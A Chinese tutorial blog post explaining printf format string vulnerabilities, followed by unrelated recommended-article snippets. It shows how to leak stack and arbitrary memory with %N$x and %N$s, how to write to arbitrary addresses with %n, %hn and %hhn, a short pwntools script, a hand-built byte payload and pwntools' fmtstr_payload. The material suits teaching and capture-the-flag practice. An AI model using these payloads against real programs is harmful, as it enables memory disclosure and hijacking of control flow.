printf格式化字符串漏洞原理解析

2023-05-16

读任意地址

printf("%x")只给格式化字符串,而不给参数,会导致内存泄漏从而读到内存中其他地址的数据。

%N$x参数可以以16进制方式打印第N个参数的内容,通过修改N,我们可以遍历栈上的所有内容。

通过%N$s参数,我们可以将第N个参数对应的内容作为字符串的地址从而获得内存中任意位置的内容。方法如下

  1. 如果我们使用的打印语句为:printf("AAAA%x")那么栈的内容如下:
栈底
x
%
A
A
A
A
栈顶
  1. 使用printf("AAAA%N$x"),并令N=1,2,3,… 假设,当N=6时得到如下输出内容:
    AAAA41414141#
    其中41是‘A’的ASCII码,‘41414141#’正好是4个字节,即int的大小,这说明偏移量为6时正好读到格式化字符串在栈中的位置。
  2. 使用printf("%7$sAAAA"),则栈内容如下:
栈底
A
A
A
A
s
$
7
%
栈顶

我们知道偏移量为6时正好能读到‘%’的位置,那么偏移量为7的时候会往栈底方向再走4个字节,于是得到的内容为‘AAAA’,而由于这次我们使用的是%s打印符,因此会打印地址‘AAAA’处的内容,通过修改‘AAAA’的内容,就可以打印任意内存位置的内容。
4. 可以用pwntool实现该功能如下:

from pwn import *
 
context.log_level='debug'
conn=process('./test')
 conn.sendline("%7$s"+p32(0x08048000))#获取地址0x08048000处的
print conn.recv()

写任意地址

写地址要用到%n格式化符,例如printf("AAAA%n",&a),会将‘AAAA’的长度值4写入变量a。如果采用printf("AAAA%N$n")就可以向地址偏移N的位置的值解析为指针,并将指针指向的地址写入4。

例如:printf("AAAA%6$n"),由于前面的测试中我们发现偏移值是6,因此偏移6对应的栈位置为‘AAAA’,程序将‘AAAA’解析为地址,并向该地址写入"AAAA%6$n"的长度值8.

如果要像任意地址写入任意数值,我们不可能真的构造那么长的字符串,这时可以采用如下格式化符一次写入多个字节:

32位
 
读
 
'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
 

64位
 
读
 
'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
 
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

举个例子,我们希望向0x08048000写入值0x10203040,可以这样构造:

\x00\x80\x04\x08\x01\x80\x04\x08\x02\x80\x04\x08\x03\x80\x04\x08%48c%6$hhn%240c%7$hhn%240c%8$hhn%240c%9$hhn

分解一下就是四个地址加上四个格式化字符

\x00\x80\x04\x08
\x01\x80\x04\x08
\x02\x80\x04\x08
\x03\x80\x04\x08
%48c%6$hhn
%240c%7$hhn
%240c%8$hhn
%240c%9$hhn

即对0x08048000写入16+48=64=0x40
对0x08048001写入0x40+240=304=0x130=0x30
对0x08048002写入0x30+240=288=0x120=0x20
对0x08048003写入0x20+240=272=0x110=0x10
但是这个payload以0x00开头,可以手工调整一下,调换地址与格式化字符的位置,还要改一下n的值.

当然,这样还是过于麻烦,实际上可以使用pwntool的fmtstr模块

fmtstr_payload(6, {0x08048000:0x10203040}) #6为格式化字符的偏移值
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

printf格式化字符串漏洞原理解析 的相关文章

随机推荐

  • stm32F103R6之BKP(备份寄存器)

    目录 概述 侵入检测 RTC校准 概述 Stm32F103有42个16位的备份寄存器 他们处在备份域里 xff0c 当VDD电源被切断 xff0c 他们仍然由VBAT维持供电 当系统在待机模式下被唤醒 xff0c 或系统复位或电源复位时 x
  • Stm32F103R6之控制器局域网

    目录 概述 双CAN bxCAN工作模式 CAN协议特点 xff1a ISO11898标准CAN物理特性 CAN协议帧 概述 bxCAN是基本扩展CAN Basic Extended CAN 的缩写 xff0c 它支持CAN协议2 0A和2
  • 如何输出一个数的二进制数

    实现思想 xff1a 二进制数是以bit为操作数 xff0c 所以要想将一个数转换为二进制数 xff0c 我们需要先要将输入的数字转化为二进制数 xff0c 然后从高位到低位判断每一位是 1 还是 0 xff0c 最后把对应的 1 和 0
  • 使用libcurl库编写HTTP客户端(包括GET/POST/HTTPS)

    最近在写一个应用程序 需要与HTTP服务器进行数据交互 于是乎自己写了一个类似wget的功能的客户端 实现很简单 但是功能不给力 只可基本功能 于是又在网上找了找 发现使用libcurl库很方便 很强大 比起wget之类的 强大不是一点点
  • 修改系统默认shell为bash

    xfeff xfeff 从 ubuntu 6 10 开始 xff0c ubuntu 就将先前默认的bash shell 更换成了dash shell xff1b 其表现为 bin sh 链接倒了 bin dash而不是传统的 bin bas
  • 如何解决Reporting Services目录数据库文件存在的问题

    出处 xff1a http blog sina com cn s blog 6bace3cc0101jlxv html 错误提示 xff1a 自检时提示 Reporting Services目录数据库文件存在 失败 xff0c Report
  • 无线射频专题《射频合规,2.4GHz WIFI测试指标详解》

    目录 引言 Transmitter Power 发送功率 Transmit Spectrum Mask 发送信号频谱模版 Frequency Error 频率误差 EVM 矢量误差幅度 Band Edges and harmonics 频带
  • 获取当前访问的路径

    String returl 61 request getRequestURL 43 request getQueryString 61 61 null 34 34 34 34 43 request getQueryString
  • 抓取百度关键词排名

    最近在做百度关键词排名的功能 xff0c 发现网上资源比较少 xff0c 于是自己琢磨了一下 xff0c 写一下笔记 xff1b 本文重点在于提供思路 xff0c 请不要过分依赖 xff0c 本文主要靠抓取页面标签来完成 xff0c 如果百
  • 抓取百度关键词排名、标题、连接、描述

    抓取百度关键词排名 标题 连接 描述 转载请标明出处 最近在做百度关键词排名的功能 xff0c 发现网上资源比较这里写代码片少 xff0c 于是自己琢磨了一下 xff0c 写一下笔记 xff1b 本文重点在于提供思路 xff0c 请不要过分
  • Windows Server 2008远程桌面端口的修改

    Windows Server 2008远程桌面端口系统默认的是3389端口 xff0c 但出于安全考虑 xff08 谁都不希望任何都可以远程连接到自己的服务器吧 xff0c 哈哈 xff09 xff0c 经常我们把系统默认的3389端口更改
  • jsp 登陆成功后,显示登录的用户名

    首先在登陆界面将用户名保存起来 xff0c 我这里是将用户名提交到Servlet然后再进行保存 xff0c 从登录界面取用户参数 String uname 61 request getParameter 34 userName 34 req
  • 背景图片随网页的变化而变化(指大小)

    lt DOCTYPE HTML PUBLIC 34 W3C DTD HTML 4 01 Transitional EN 34 gt lt html xmlns 61 34 http www w3 org 1999 xhtml 34 gt l
  • 为什么vscode用久了电脑速度变慢?

    1 vscode 插件占用的内存 1 已经安装的插件 2 插件占用内存 我可以看到 xff0c vs code 这个程序下面有多个进程在跑 xff0c 插件占用的内存比我电脑剩下所有占用的内存还要高 xff0c 但是vs code 性能还是
  • ROS基础学习(一)---创建工作空间

    工作空间 xff08 workspace xff1a 是一个存放工程开发相关文件的文件夹 src xff1a 代码空间 xff08 Source Space build 编译空间 xff08 Build Space devel 开发空间 x
  • 一个简单的爬虫程序,爬取网站的图片

    最简单的爬虫是分析网页 xff0c 如果要爬取图片 xff0c 就要将图片在网页中的格式进行分析 xff0c 取到图片的连接 xff0c 接着下载图片 xff1b 由于网页中还会链接到其他的网页 xff0c 所以需要将其中的所有网页取出 x
  • python文件操作及引申的代码行数统计

    文件操作一般包括文件的读写 xff0c 文件夹的创建 xff0c 文件夹的删除等 第一部分 xff1a python文件读写的基本操作 python打开文件一般使用 open函数 xff1a open file mode 61 39 r 3
  • 超声波测距仪

    基本原理 超声波是利用反射的原理测量距离的 xff0c 被测距离一端为超声波传感器 xff0c 另一端必须有能反射超声波的物体 测量距离时 xff0c 将超声波传感器对准反射物发射超声波 xff0c 并开始计时 xff0c 超声波在空气中传
  • Authorization 值中Bearer空格加token值在python接口请求中如何实现

    在项目中每个接口请求都需要Authorization 值 xff0c 而Authorization他的值必须 Bearer 加token值 xff0c 刚开始自己忘记添加Bearer 接口请求一直拒绝访问 xff0c 后来用fiddler抓
  • printf格式化字符串漏洞原理解析

    读任意地址 printf 34 x 34 只给格式化字符串 xff0c 而不给参数 xff0c 会导致内存泄漏从而读到内存中其他地址的数据 N x参数可以以16进制方式打印第N个参数的内容 xff0c 通过修改N xff0c 我们可以遍历栈